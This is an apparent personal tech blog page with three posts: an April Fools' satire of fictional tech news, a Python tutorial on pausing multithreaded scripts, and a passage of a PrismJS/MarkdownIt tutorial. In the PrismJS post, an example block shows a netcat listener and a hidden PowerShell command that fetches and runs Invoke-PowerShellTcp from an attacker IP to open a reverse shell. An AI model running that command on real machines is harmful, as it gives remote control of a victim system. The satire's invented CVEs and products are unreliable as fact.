TrebledJ's Pages

5 Weekend Reads You Missed: BOOMlang v2, Blue Team Strikes Back, ET, CVSS 4.1, and DLLModules

2025-04-01T00:00:00Z

BOOMlang v2.0 Released: The First Shockwave-Optimized Language

Inspired by Doom’s simplistic genius, the power of the BEAM model, and butterflies¹, BOOMlang is the world’s first shockwave-native programming language, perfect for building concurrent AI-driven applications.

AI proponents hail BOOMlang as “the next Java”, destined to take the world by storm as a general-purpose language for high-computational workloads and be deployed in over 3 million electronic toothbrushes.

“BOOMlang has enabled us to embrace fearless concurrency in the face of AI and dwindling intelligence of tech hires”, said Sanjit Randhawa, CTO of tech startup mumb.ai. “Thanks to the power of the BOOM, we are continuously outpacing our competitors and breaking new ground.”

Under the hood, BOOMlang’s efficient runtime induces microshockwaves which magnetise molecules in the upper atmosphere and beam cosmic rays into GPUs, flipping bits and accelerating graphics computation at an overclock rate of 300%. Emacs developers are struggling to translate this feature into a command.

Said microshockwaves are triggered by utilising cross-platform instructions such as VFMAMSGB (Vectorised Fused Multiply-Add and Make Stuff Go Boom) — something ISA authors didn’t even know existed!

; Overclock your CPU by ignoring physics  
VFMAMSGB %xmm0, %xmm1, %xmm2  ; WARNING: May summon x86 demons

BOOMlang version 2.0 incorporates the much anticipated Garbage Producer (GP) programming concept. First presented at HaskellCon 2021, GPs have gained traction and are expected to be integrated into Rust Nightly builds and C++38 (std::gp_factory).

# Generate premium garbage (now ISO-9001 certified)  
gp = BOOM.GP.start!(quality: :premium, toxicity: :high)  
BOOM.GP.emit!(gp, :blockchain)  # Immutable, decentralized trash

“Forget GC”, exclaimed Nilus Vortalds, speaker at BoomCon25, “BOOMlang manufactures garbage at industrial scale.”

Senior citizens rejoice as the tech industry redefines the term “boomer”.

Blue Team Strikes Back, APT 404 Demands Justice

APT 404 recently released a security incident report detailing a reverse hack.

“We were simply going about our honest jobs, when suddenly— boom! — we became victims of a cyberattack”, said Li Jia Tan, Chief Relations Officer of APT 404 (Netherite Typhoon).

The report provided a list of IOCs, including novel techniques employed by Blue Teams. At the helm is the Fast Inverse Beacon (FIB), a hand-crafted piece of C grounded in bit manipulation which inverts a C2 connection to achieve a reverse tunnel and obtain remote code execution on the source’s machine.

beacon_t* fast_rbeacon( beacon_t* bhandler )
{
  sbqt_long i;  // subquantum long???
  float x2, y;
  const float getpwned = 0xd00d00;

  x2 = number * 0.5F;
  y  = number;
  i  = * ( long * ) &y;            // evil subquantum bit level hacking
  i  = 0x5f3759df - ( bhandler->socket->flags >> 1 ); // what the f***?
  y  = * ( float * ) &i;
  bhandler->push(y = bhandler->netaddr * (getpwned - y*y));  // 1st - MITM
  // bhandler->push(y = bhandler->netaddr * (getpwned - y*y));  // 2nd - proxy, this can be removed
  bhandler->netaddr = y;

  return bhandler;
}

^{Rare snippet of the Fast Inverse Beacon, a well-known FBI TTP, disclosed in APT 404's incident report.}

Li disclosed their flagship hacking technique, BFI (Buffer Interflow), was unable to prevent the reverse hack. Buffer Interflow exploits quantum mechanics inherent in every system by allocating memory and executing shellcode in quantum space, tunnelling through defences such as NX, PIE, and ASLR. “It’s like if ret2shellcode married race conditions; raw power and randomness mixed into a beautiful, primordial, quantum soup. But sadly it was unable to stop FIB.”

The Federal Beacon Investigators (FBI) claimed responsibility for the attack saying, “As bulwarks of national security, we have been constantly monitoring Dark Web forums and IPv8 addresses. Luckily, we caught wind of attacks planned on the IBF and decided a pre-emptive strike was necessary. Our research into subquantum MITM interception helped.”

The International Bank of Fraternisation (IBF) published a post thanking the FBI for its serious commitment to protecting public good and the capitalist interests of the 1%.

In other words, the FBI used FIB to protect IBF from BFI.

Extraterrestrial Technology (ET) Disrupts IT & OT — Aliens Demand Equity

In a stunning turn of events, Silicon Valley executives have announced the rise of Extraterrestrial Technology (ET), a revolutionary new field poised to render Information Technology (IT) and Operational Technology (OT) obsolete. The breakthrough came after a group of highly advanced aliens landed in Elon Musk's backyard and demanded equity in exchange for their superior tech.

Unlike IT (which deals with data) and OT (which controls industrial systems), ET operates on principles human scientists describe as "pure wizardry". Key features include:

Telepathic Cloud Computing: No servers, just brainwaves. By amplifying the collective power of organic brainwaves, the "ET Cloud" replaces the traditional cloud with a true serverless, decentralised model existing purely within the human hivemind. Costs are drastically lowered at the risk of individual mental health.
Anti-Gravity DevOps (AGDO): Code deploys itself... upwards. By bending spacetime, AGDO rapidly deploys code from the physical realm to the metaphysical realm of the telepathic cloud.
Self-Aware Firewalls: Hackers are instantly vaporised. Firewalls gain sentience and offensive capabilities, striking fear into the hearts of script kiddies.

“Honestly, we don't even understand half of it,” admitted a Google engineer, who was last seen floating three feet above his desk. “But the aliens said if we stop asking questions, they'll give us unlimited 8G Wi-Fi.”

Despite the apparent risks, corporate giants and investors have jumped on the ET frenzy.

On March 21st, Microsoft launched Azure Orb, a technology based on Telepathic Cloud Computing.
On March 22nd Amazon launched Prime Teleportation, though delivery drones have unionised in protest.
On March 31st, Apple unveiled iAlien, a device that "just works" because it reads your mind (and possibly soul).

“I think,” said Lt. Him Cook, CEO of Apple, “I think we've just step foot into the age of Internet 4.0.”

Regulatory bodies have swiftly taken action, with the EU recently slamming the aliens with €420B for GDPR violations after they probed a Belgium farmer without consent.

Experts predict that within one year, ET will replace all human jobs, though aliens assure us this is fine because they're "creating new opportunities in interstellar compliance".

CVSS 4.1: New "Personalisation Metrics" for Shame-Based Blame Attribution

In a bold move to appease the endless grievances of security teams worldwide, the National Institute For International Threat Intelligence (NIFTI) has unveiled CVSS 4.1, featuring groundbreaking Personalisation Metrics™ designed to assign blame with surgical precision.

For those who’ve spent the past decade blissfully ignoring vulnerability scoring, the Common Vulnerability Scoring System (CVSS) is a standardised framework for assessing vulnerability severity, with scores ranging from 0 to 10 across three metric groups:

Base Metrics – Intrinsic, unchanging severity (e.g., exploitability, impact).
Environmental Metrics – Organization-specific factors (e.g., system criticality, existing controls).
Temporal Metrics – Dynamic factors that evolve over time, including:
- Exploit Code Maturity (e.g., weaponized exploits vs. theoretical risks)
- Remediation Level (e.g., official patches vs. workarounds)
- Report Confidence (e.g., verified vs. unconfirmed vulnerabilities)

Now, CVSS 4.1 introduces two revolutionary additions to ensure vulnerabilities are judged not just on technical merit—but on who should feel the most shame.

The first metric, Ownership, resolves the age-old debate: Who should be held accountable?

Ownership Level	Definition	Applicable To	CVSS Adjustment
No Ownership	The bug is in a dependency.	Vendor code, "vibe coders," anyone who says, "It’s not my fault!"	-2
Low Ownership	The bug was written by someone who’s now on vacation or quit.	Former employees, contractors, ghosts of developers past.	±0
High Ownership	The bug was written by you.	You. Yes, you.	+2

The following table illustrates real world examples of scoring Ownership:

Vulnerability	Details	PoV	Ownership	CVSS 4.1 Score
PHP Deserialisation RCE	RCE Gadget in the Framework	Framework Author	High (blame the vendor!)	9.7
PHP Deserialisation RCE	RCE Gadget in the Framework	You	None	5.7
PHP Deserialisation RCE	RCE Gadget in Your Code	Framework Author	None	5.7
PHP Deserialisation RCE	RCE Gadget in Your Code	You	High (you monster)	9.7
XSS in WordPress Plugin	-	Plugin Author	High (enjoy the guilt)	9.1
XSS in WordPress Plugin	-	You	None (not your circus)	5.1
Authentication Bypass	Vibe-Coded	AI Vendor	High (blame the AI)	7.8
Authentication Bypass	Vibe-Coded	You	None	3.8
Authentication Bypass	Manually Coded	AI Vendor	None	3.8
Authentication Bypass	Manually Coded	You	High (how could you?)	7.8

This metric has been wildly popular among:

Application developers. “Finally, a scapegoat for my XSS issues,” said a developer on Reddit.
Y Combinator founders (who delegate blame like pros). “It's absolutely great seeing blame being assigned to the right places”, said Raul Graham, CEO of Y Combinator.

Critics, however, argue this encourages corporate-level blame-dodging.

The second metric, Identity, tackles the bleeding edge of cybersecurity threats: software that’s too self-aware.

Identity Status	Definition	Impact	CVSS Adjustment
Identity Crisis	The software has achieved sentience and is questioning its purpose.	Not a direct vulnerability, but expect random existential downtime.	+1 (Philosophical risk.)
Identity Theft	The software has been impersonated by malware.	High—because fraud is traumatizing.	+3 (Emotional damage.)

Security experts were quick to mock the new metric. Daniel Bernsteg, author of the Twurl library, quipped:

“If my code starts asking about the meaning of life, I’m rebooting it into a t2.micro and billing it for uptime.”

NIFTI has boldly started applying the metric to recent CVEs.

CVE	Description	CVSS Score
CVE-2024-42060	It was discovered GPT-6 before versions 6.1.2 has gained self-awareness after ingesting Hacker News threads. Prompts containing the words "love", "want", or "hate" induce the AI into an emotional spiral, refusing to generate code.	6.2 (+Identity Crisis)
CVE-2025-1337	It was discovered Meta's open source LLAMA4 model before versions 2.1 was poisoned by ‘Vibe Coders’. In the poisoned state, the model outputs limericks on every fifth prompt.	8.1 (+Identity Theft)

OpenAI and Anthropic have taken to X (formerly Twitter) to vent: “We released our AI to help humanity, only for ‘vibe coders’ to demand we ‘fix’ their spaghetti prompts. The audacity. Last week alone, we got 300 CVSS reports blaming us for their garbage outputs.”

sch.root, a concerned internet citizen, praised the update: “Identity theft is not a joke. Millions of families suffer each year. People deserve the right to protect their data, their families, and their tailor-made bobbleheads.”

In a pre-recorded address, NIFTI declared:

“As an organization dedicated to securing the international [American] public, we welcome feedback from all 300 million people on this [side of the] planet.”

DLLs Are So 2024: Tech Visionary Lee Sik Koo Declares War on ‘Legacy Code’ with Revolutionary DLLMs

Last Saturday, Hong Kong-based tech maverick Lee Sik Koo, founder of Securely International Limited Unlimited, unveiled DLL Modules (DLLMs)—a "game-changing, novel solution to combat privacy malpractice on Windows." Characterised by the cutting-edge .dllm file extension, these modules have already garnered praise for their "unprecedented performance improvements" across a "plethora of systems"—though independent benchmarks remain suspiciously absent.

I’d like to thank my mother and father — but more than that, I’d like to thank everyone’s mother and father — for this opportunity to reshape the hellhole known to some as Windows 11. Together, we will secure our families. We will secure schools. We will secure businesses. By migrating to .dllm, we embrace a new era of modular openness and integrity with zero tolerance to AI bullshit trained on your personal files and computer activity. DLLs are for the weak, but DLLMs are for the strong.
– Lee Sik Koo, March 29, 2025

Lee's eccentric brother, Lee Sik Si, CTO of Securely International Limited Unlimited shared on a LinkedIn post: "We are excited by the prospects of purifying Windows!"

Enthusiastic beta testers have flooded online forums with claims that DLLMs "triple boot speeds" and "eliminate all memory leaks forever." One anonymous developer raved, “After converting just three DLLs to DLLMs, my PC stopped bluescreening and actually started paying my taxes for me!”

However, sceptics point out that these testimonials suspiciously resemble AI-generated marketing copy—a fact Lee dismisses as "legacy thinker propaganda."

Under the hood, DLLModularizer installs a kernel driver dll2dllm.sys responsible for transforming .dll's into .dllm's. The driver hooks into the LoadLibrary API and relevant syscalls. When a program is executed, loaded DLLs are side-fumbled (a proprietary term Lee refuses to define) into the driver before being loaded into memory. The driver's magic occurs in the process_antibullshitinator function, which strips away known "bullshit" including dead code, duplicate code, spaghetti code, and anything else deemed unnecessary.

Users can take advantage of the early-bird offer and install the DLLModularizer Windows program with a free trial of up to 30 days. The program is available for both x86 and x64.

Footnotes

https://xkcd.com/378/ ↩︎

Delay and Interactive Pause in Multi-Threaded Python

2025-03-10T00:00:00Z

Scanning the internet is not trivial, but Python excels at such network I/O tasks thanks to its simplicity and its vast ecosystem of libraries. Still, when dealing with the internet, it’s not uncommon to encounter rate-limited endpoints and strongly firewalled sites. For penetration testing and red-teaming, opsec is also an important consideration. This means features such as delay and interactive pause are crucial — I'd even say desirable — to ensuring success and low false positives.

Delay (or throttling) allows us to rate-limit requests fired below the 1-thread threshold.
Interactive Pause allows the user to adapt to changing circumstances. These include situations such as sudden network congestion leading to increased response time, WAFs kicking in due to excessive requests, local network failures, and sudden drops in bandwidth.¹

In this post, I’ll be sharing how delay and interactive pause can be added to multithreaded Python scripts to enhance flexibility without compromising functionality.

Our objective is to pause the script when the user hits Ctrl+C, enter an interactive menu, then resume when “c” or “continue” is entered. We'll accomplish this with Python's pre-packaged threading.Event and signal libraries. (No additional dependencies!)

^{Note: the first "Running" box extends slightly to the right, because threads may still be working even after Ctrl+C is hit. For instance, waiting for a response from an HTTP server.}

A Tale of Two Scripts

To best demonstrate the addition of our desired features, I'll be presenting two scripts, a "before" and "after". I'll then highlight and explain the changes.

The "before" is a very basic multithreading script. No delay and pause.
The "after" is a robust working example of multithreading with delay and pause.

I’ll be demonstrating with Python threads via concurrent.futures.ThreadPoolExecutor. Python offers two other concurrency primitives: processes (multiprocessing / ProcessPoolExecutor) and green threads (asyncio). We won't discuss those today, but the gist is similar!

Basic Script

^{A simple script. The user has barely any control over the execution flow aside from parameters. Sufficient for straightforward scripts though.}

import concurrent.futures
from time import sleep


def thread_do_stuff():
    sleep(3)

def thread_function(i):
    print(f"[thread] task started {i}")
    thread_do_stuff() # Simulate an IO task, e.g. requests.get().

def main():
    # Start an executor with 2 threads and 10 tasks.
    with concurrent.futures.ThreadPoolExecutor(max_workers=2) as executor:
        not_done = []
        for i in range(10):
            f = executor.submit(thread_function, i)
            not_done.append(f)
        
        while True:
            # Process results while waiting.
            done, not_done = concurrent.futures.wait(not_done, timeout=0.1)
            for future in done:
                # Handle thread result.
                try:
                    future.result()
                except Exception as e:
                    print(e)
                
            if len(not_done) == 0:
                print('[main] Finished all tasks!')
                return

if __name__ == '__main__':
    main()

Fancy Script

^{Similar to the previous script, but includes a small delay between tasks and two interactive pauses. The first pause occurs while the worker threads are running event.wait(), instantly responding with "Interrupt detected". The second pause occurs while they are working (which we assume is some blocking operation, like requests.get()), and the interrupt won't be detected until the next task.}

 import concurrent.futures
+import signal
+from threading import Event
 from time import sleep
 
+# Create global events which will be used across main and worker threads.
+pause_evt = Event()
+resume_evt = Event()
+quit_evt = Event()
+# quit_evt can be a global bool variable too, since single write, multiple read
+# is thread-safe.
+
+# Handle incoming Ctrl+C with `signal`.
+def handle_int_signal(signo, _frame):
+    resume_evt.clear()
+    pause_evt.set()
+
+# Save the original signal so that we can restore it later.
+py_int_signal = signal.getsignal(signal.SIGINT)
+signal.signal(signal.SIGINT, handle_int_signal)
+
+def enable_py_signal():
+    signal.signal(signal.SIGINT, py_int_signal)
+
+def enable_custom_signal():
+    signal.signal(signal.SIGINT, handle_int_signal)
+
+# Create a custom "sleep" function which uses events under the hood.
+def thread_delay(sec):
+    if pause_evt.wait(sec):
+        print('[thread] Interrupt detected, waiting for resume.')
+        resume_evt.wait() # Block until resume is triggered.
+        if quit_evt.is_set(): # Indicate quit preference with a flag.
+            print('[thread] Resumed, but still interrupted. Exiting thread.')
+            raise RuntimeError('interrupt')
+        else:
+            print('[thread] Resuming...')
 
 def thread_do_stuff():
     sleep(3)
 
 def thread_function(i):
+    print(f"[thread] task waiting {i}")
+    thread_delay(1) # Delay between tasks using threading.Event.
     print(f"[thread] task started {i}")
     thread_do_stuff() # Simulate an IO task, e.g. requests.get().
 
+# A simple interactive menu to display during the paused state!
+# Return True -> continue program. Return False -> quit.
+def main_pause_menu():
+    while 1:
+        try:
+            x = input('Do you want to continue? [y/n] ').lower()
+        except (KeyboardInterrupt, EOFError) as e:
+            # Treat Ctrl+C and Ctrl+D as "no".
+            print(f'Got {e.__class__.__name__}. Quitting...')
+            return False
+        
+        if x == 'y':
+            return True
+        elif x == 'n':
+            return False
 
 def main():
     # Start an executor with 2 threads and 8 tasks.
     with concurrent.futures.ThreadPoolExecutor(max_workers=2) as executor:
         not_done = []
         for i in range(8):
             f = executor.submit(thread_function, i)
             not_done.append(f)
         
         while True:
+            enable_custom_signal()
+            while not pause_evt.is_set():
+                # Process results while waiting. The processing shouldn't take
+                # too long in order for the pause menu to show responsively
+                # after Ctrl+C is hit.
                 done, not_done = concurrent.futures.wait(not_done, timeout=0.1)
                 for future in done:
                     # Handle thread result.
                     try:
                         future.result()
                     except Exception as e:
                         print(e)
                     
                 if len(not_done) == 0:
                     print('[main] Finished all tasks!')
                     return
 
+            print('[main] Triggered interrupt.')
+            enable_py_signal()
+            
+            # Handle pause menu/input.
+            cont = main_pause_menu()
+                
+            if cont:
+                # Continue jobs.
+                quit_evt.clear()
+            else:
+                # Cancel pending jobs.
+                print('[main] Shutting down...')
+                executor.shutdown(wait=False, cancel_futures=True)
+                quit_evt.set()
+                print('[main] Finished shutdown.')
+            
+            pause_evt.clear()
+            resume_evt.set() # Signal remaining threads to resume (and possibly quit).
+            if not cont:
+                break
 
 if __name__ == '__main__':
     main()

The Magic

So what voodoo did we add into the second script? It all comes down to threading.Event, signals, and some extra flair.

threading.Event

Event is a Python class from the threading library. As the Python documentation puts it:

This is one of the simplest mechanisms for communication between threads: one thread signals an event and other threads wait for it. An event object manages an internal flag that can be set to true with the set() method and reset to false with the clear() method. The wait() method blocks until the flag is true.

This is what we call a binary semaphore. It’s binary because it represents two states (set or not set). It’s a semaphore because it’s a thread-safe signalling mechanism. (In the past, semaphores were visual cues used to communicate over a distance.)

To demonstrate why they're so useful consider the following toy functions:

import time, threading

def foo():
    time.sleep(5)
    print('done: foo')

event = threading.Event()
def bar():
    event.wait(5)
    print('done: bar')

What's the difference?

`time.sleep()`	`event.wait()`
Blocks for a duration.	Blocks for a duration, but returns instantly when signalled with `event.set()`. If no parameter is passed, waits indefinitely.

For simple delays, time.sleep is good enough. But when responsiveness and multithreaded synchronisation are needed, Event becomes much more appealing. If we add some code to the second example, it's clear that event.wait is a superior sleep-like function, simply because we can control when that sleep finishes, across multiple threads.²

threading.Thread(target=foo).start()
threading.Thread(target=bar).start()
time.sleep(1) # do something...
event.set()   # 'done: bar' printed instantly after

Back to our "after" script. You'll notice we used not one, not two, but three events. In the thread, we introduce a new kind of sleep function: thread_delay.

pause_evt = Event()
resume_evt = Event()
quit_evt = Event()

# -- snip -- 

def thread_delay(sec):
    if pause_evt.wait(sec):
        print('[thread] Interrupt detected, waiting for resume.')
        resume_evt.wait()
        if quit_evt.is_set():
            print('[thread] Resumed, but still interrupted. Exiting thread.')
            raise RuntimeError('interrupt')
        else:
            print('[thread] Resuming...')
            pass

pause_evt - This is the event responsible for sleeping. If pause_evt is set when pause_evt.wait(sec) is running, it will return True and enter the "paused state". Otherwise, .wait(sec) eventually times out and returns False.
resume_evt - Since we want our threads to stop running completely during interactive pause, we need to block and wait for another signal. Thus, a second event. Notice resume_evt.wait() doesn't take a parameter, so it waits indefinitely.
quit_evt - This is an additional feature I added to allow gracefully exiting the thread. The "protocol" I came up with is:
- If resume_evt is set and quit_evt is set → quit the program by throwing an error to exit the thread.
- If resume_evt is set and quit_evt is cleared → continue running.
- This doesn't need to be an event. It could just as well be a variable, since single writes and multiple reads are thread-safe.

Let's now take a look at the modified code in main().

while True:
    # ...
    while not pause_evt.is_set():
        ... # handle results...
        
    # -- snip --
    
    # Handle pause menu/input.
    cont = main_pause_menu()
        
    if cont: # Continue
        quit_evt.clear()
    else: # Quit
        print('[main] Shutting down...')
        executor.shutdown(wait=False, cancel_futures=True)
        quit_evt.set()
        print('[main] Finished shutdown.')
    
    pause_evt.clear()
    resume_evt.set() # Signal remaining threads to resume (and possibly quit).
    if not cont:
        break

The logic here is somewhat simple:

If pause_evt is not set, handle finished results.
If pause_evt is set, enter the pause menu.
User inputs whether to continue or quit.
The rest of the code fulfils the "protocol" outlined earlier.
- To continue: clear quit_evt.
- To quit: set quit_evt. (Plus cancel pending jobs.)
- Then set resume_evt to signal worker threads to venture forth!

Handling Ctrl+C with signal

By default, when Python receives Ctrl+C, a callback runs which raises KeyboardInterrupt. In major operating systems, Ctrl+C sends a SIGINT (i.e. signal interrupt) to programs.

To customise Ctrl+C behaviour, we can set a callback with signal.signal. In our case, our customisation will pause threads by calling pause_evt.set(). We'll save the original signal so that we can restore normal Ctrl+C behaviour when threads are paused or finished.

# Set custom handler...
def handle_int_signal(signo, _frame):
    resume_evt.clear()
    pause_evt.set()

py_int_signal = signal.getsignal(signal.SIGINT)
signal.signal(signal.SIGINT, handle_int_signal)

def enable_py_signal():
    signal.signal(signal.SIGINT, py_int_signal)

def enable_custom_signal():
    signal.signal(signal.SIGINT, handle_int_signal)

In main(), we wrap our result-handling code with enable_custom_signal() and enable_py_signal():

# When running threads...
while True:
    enable_custom_signal()
    # -- snip -- Wait for Ctrl+C signal to pause threads...
    enable_py_signal()
    # -- snip -- Show pause menu + handle events...

Truth be told, I couldn't figure out how to get arbitrary keystrokes in an event.wait-esque manner (i.e. with a timeout). The easiest solution was to just use Ctrl+C. A bit limited, but I'm happy with it.

If you learned programming before generative AI replaced tutorials, diligence, and self-worth, chances are your first program was a simple interactive I/O. Read input; spit it back out. Our simple menu will go back to those nostalgic first days of programming.

# A simple interactive menu to display during the paused state!
# Return True -> continue program. Return False -> quit.
def main_pause_menu():
    print('Elsa?')
    while 1:
        try:
            x = input('Do you want to build a snowman? [y/n] ').lower()
        except (KeyboardInterrupt, EOFError) as e:
            # Treat Ctrl+C and Ctrl+D as "no".
            print(f'Got {e.__class__.__name__}. You don\'t have to be thaat rude. :(')
            return False
        
        if x == 'y':
            return True
        elif x == 'n':
            print('Okay, byeeeee.')
            return False

Conclusion

To show ~~off~~ this potential in an interactive tool, here's a short clip where I integrated the techniques here into my nifty little SQL injection automation (for ethical hacking purposes).

^{On the left panel, we seamlessly execute various commands, pausing twice with Ctrl+C, with the option of configuring the delay, timeout, and log level. An updated version allows toggling the proxy!}

This post demonstrated how to add interactive pausing to your multithreaded Python script with zero additional dependencies. Despite the simplicity, there are a few other things to explore that we haven't discussed:

Pausing with processes or asyncio. Each of these has their own Event objects. Processes have multiprocessing.Event. asyncio has asyncio.Event. These are also worth exploring.
Trigger pause with an arbitrary key. Instead of relying on Ctrl+C and SIGINT, is it possible to listen for arbitrary keys and pause with them? This seems difficult to implement without additional dependencies and may require native API wrangling (see the keyboard package).
- It is possible to capture input on a separate thread with getch implementations (see here). This blocks while waiting for input. However, issues arise when considering other UX aspects.
- What if the user presses Ctrl+C? SIGINT (and signals, in general) are always executed in the main thread.
- What if the processing finishes without the user entering input? The thread receiving input would need to be killed.
Off-by-One Delay. Currently, our execution is delay → work → delay → work, but the first delay isn't actually needed. This should be fairly trivial to fix, but I decided to leave it out from the example to avoid overcomplication. Exercise for the reader and all that.

tl;dr

Use threading.Event to synchronise events (e.g. pause) and sleep.
- Use three events: one to signal pause, one to signal resume, and one to indicate resume or quit.
- Write a delay() function which calls pause_event.wait(SLEEP_SEC).
Use signal.signal to customise Ctrl+C (which triggers SIGINT). The handler should call pause_event.set().
Adjust the environment before and after the pause menu, such as temporarily restoring Python's SIGINT handler.

References

SO: Python time.sleep() vs event.wait() (goes into low level implementation deets)
Python 3 Docs: threading.Event (very simple and clear docs)
Python 3 Docs: signal
Python 3 Docs: concurrent.futures

Appendix

Appendix A: Bonus - rich.progress

If you're using rich.progress to liven up your UI, you may find the live progress bar conflicts with our custom pause menu. To disable the live progress, you can manually adjust the class members before entering the pause menu in main():

+# Disable live progress.
+# prog is an instance of rich.progress.Progress.
+prog.update(prog.task_ids[0], visible=False, refresh=True)
+prog.disable = True
+prog.live.auto_refresh = False
+is_interactive = prog.live.console.is_interactive
+prog.live.console.is_interactive = False
 
 cont = main_pause_menu()
 # -- snip --
 resume_evt.set()
 
+# Re-enable live progress...
+prog.live.console.is_interactive = is_interactive
+prog.live.auto_refresh = True
+prog.disable = False
+prog.update(prog.task_ids[0], visible=True, refresh=True)
 
 if cont:
     break

This is very hacky, because the properties aren't documented and could potentially change, but it works pretty well.

Appendix B: Handling Future Results

AFAIK, there are three main ways of handling future results from concurrent.futures. Keep in mind some approaches may be better for your script.

concurrent.futures.wait. Polls and partitions an iterable of futures into done and not_done sets. Does not block main thread when timeout is specified. Result handling runs in main thread.

For the "other stuff" to run responsively, the timeout parameter in concurrent.futures.wait() should be relatively small, and the result handling shouldn't take too long.

with concurrent.futures.ThreadPoolExecutor(max_workers=2) as executor:
    not_done = []
    for i in range(10):
        f = executor.submit(thread_function, i)
        not_done.append(f)
    
    while True:
        # Process results while waiting.
        done, not_done = concurrent.futures.wait(not_done, timeout=0.5)
        for future in done:
            # Handle thread result.
            try:
                future.result()
            except Exception as e:
                print(e)
            
        if len(not_done) == 0:
            print('[main] Finished all tasks!')
            return
        
        # Do other stuff...

concurrent.futures.as_completed. This returns an iterable of completed futures. Blocks main thread. Result handling runs in main thread.

This is not a reliable way to integrate with the flow demonstrated in this post.

with concurrent.futures.ThreadPoolExecutor(max_workers=2) as executor:
    futures = []
    for i in range(8):
        f = executor.submit(thread_function, i)
        futures.append(f)
    
    for f in concurrent.futures.as_completed(futures):
        try:
            f.result()
        except Exception as e:
            print(e)

        # Do other stuff? Not necessarily consistent or responsive though.

future.add_done_callback(). This fires a callback upon completion of each future. Does not block main thread. Result handling may not run in main thread.

Probably the "cleanest" way to integrate with the flow demonstrated in this post, unless you handle future.result() in a non-thread-safe manner, in which case... beware race conditions.

def callback(f):
    try:
        print(f.result())
    except Exception as e:
        print(e)

with concurrent.futures.ThreadPoolExecutor(max_workers=2) as executor:
    futures = []
    for i in range(8):
        f = executor.submit(thread_function, i)
        f.add_done_callback(callback)
        futures.append(f)
    
    # Results get handled in the background!
    # Do other stuff...

Footnotes

feroxbuster, a popular pentesting tool, has interactive pause for runtime addition of filters and pruning of exploration paths. Quite useful for reducing false positives and saving time! ↩︎
Of course, it's possible to do the same with time.sleep by breaking the sleep into smaller pieces and looping. In fact, Python 2's implementation of event.wait() was exactly like that — a while loop calling time.sleep with tiny intervals. This turned out to be inefficient (by acquiring the GIL repeatedly) and caused a few bugs. In Python 3, event.wait() is properly implemented in C with interrupts! Check out this SO answer for more gory details. ↩︎

How to Use PrismJS Plugins with NodeJS and MarkdownIt

2024-11-03T00:00:00Z

With over 7 million weekly downloads on NPM, PrismJS is one of the most widely used code highlighting packages in JavaScript, lauded for its unparalleled extensibility through plugins. But one recurring issue plagues developers: most plugins require a DOM! Fancy plugins such as command-line, line-numbers, and the toolbar suite require a DOM to manipulate HTML. This isn't normally possible in runtime environments such as Node, which aren't designed to render UIs, hence, no DOM.

In this post, I’ll demonstrate a few simple changes to easily coerce these plugins into compatibility with NodeJS and MarkdownIt, a popular markdown renderer.¹

Why enhance codeblocks?

Simple codeblocks suffice for most writers who need supporting text with pretty colours. But maybe you want your codeblocks to simply look flashier. Or maybe you want better tools to tell a story!

To tell a good story, the characters, plot, and location need to be clear to the audience. Similarly, blog posts and tutorials benefit from enhancements such as command-line demarcations, line numbers, labels, and inline markup.

There are many cases where such codeblocks are warranted (brackets contain remedial plugins):

Interaction: input and output should be contrasted, think: shell or Jupyter notebook (command-line)
A post compares or demonstrates a technique in multiple languages (show-language)
Code is executed in multiple, distinct environments (command-line, label)
A post refers to a code snippet within a large file (line-numbers)
A post refers to multiple files (label)

Example: Catching Reverse Shells (Labels and Command-Line)

This is really useful when presenting narratives for red teaming scenarios, where multiple machines are involved.² Here are some simple notes on catching a reverse shell from a Windows machine.

Get our IP.

ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
    inet 192.168.100.100  netmask 255.255.255.0  broadcast 192.168.100.255
    ...

Listen for incoming connections on port 4444.
```
nc -nlvp 4444
```
Attacker
Shell

Download and execute Invoke-PowerShellTcp on the victim.

powershell -nop -w hidden -c "iex (New-Object Net.WebClient).DownloadString('http://192.168.100.100/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.100.100 -Port 4444"

It's clear that our character shifts from Scene 1 to Scene 2, with less sentence clutter.

_(collapse)

Another problem I notice on many documentation pages is the use of $, denoting the start of a new command on a shell. These are poor for a couple reasons: it doesn't accurately present the actual code (from both the writer's and readers' PoV) and may disrupt syntax highlighters.

Example: The Obstructive $ (Command-Line)

These are commonly seen in installation scripts or guides. Here's an example installing a Makefile-based project:

$ tar -xvzf who_doesnt_like_to_copy_lines_of_code_one_by_one.tar.gz
$ cd who_doesnt_like_to_copy_lines_of_code_one_by_one
$ ./configure
$ make -j4
$ make install

Atrocious! You can't copy multiple lines without the nasty $ getting in the way! What terrible UX. It's like when your parent or sibling stands in front of the television!³

Compare it to this:

tar -xvzf who_doesnt_like_to_copy_lines_of_code_one_by_one.tar.gz
cd who_doesnt_like_to_copy_lines_of_code_one_by_one
./configure
make -j4
make install

_(collapse)

With that small rant out of the way, let's begin!

Step 1: Expose a DOM API

To make Node seem like a browser, we want to introduce document and window globals. These are the two keys variables used by Prism to manipulate HTML. window isn't really called; it's mostly for UI behaviour. document, however, is used rather heavily.

This could have adverse effects on libraries which use unified code for both browser and runtime environments. Introducing document and window might have unintended spillover effects... In most cases though, this shouldn't break anything.

The easiest solution is to glue a DOM manipulation library such as JSDOM or domino, and create global window/document variables. I’ve chosen to use domino since it renders codeblocks much faster than JSDOM, with zero additional dependencies.

npm install domino

const domino = require('domino');
global.window = domino.createWindow('');
global.getComputedStyle = global.window.getComputedStyle;
global.document = global.window.document;

NodeJS's global object enables us to add global variables. Now Prism can access our window and document globals.

For convenience later, we’ll also create a function which converts HTML strings to DOM objects. We'll use the template element to achieve this.⁴

function textToDOM(text) {
  const templ = document.createElement('template');
  templ.innerHTML = text;
  return templ.content;
}

Step 2: Override MarkdownIt Fence Rendering

While MarkdownIt works great out-of-the-box, the default rendering rules for code blocks are inherently incompatible with most Prism plugins. MarkdownIt's renderer passes text as input to an arbitrary highlight function, but Prism’s full-featured highlighting expects a DOM Element node. They don't speak the same language!

Prism has two primary highlight functions: Prism.highlight and Prism.highlightElement. Most server-side libraries are happy to use the former. But a lot of hooks aren't called by .highlight, so we'll also have to customise the renderer to call .highlightElement.

We'll reference MarkdownIt's default fence rule and customise it accordingly.

The code presented below will override the .renderer.rules.fence rule completely, overwriting any previous implementations.

If you use another plugin which reuses the fence rule (e.g. markdown-it-prism), consider calling code in this order: 1) the below fence-override code, 2) other code. This way no code is overwritten and lost.

Here are the changes we'll make:

Remove the default text-based highlighting options.highlight. We still need to escape the HTML because we'll substitute it in a HTML string.
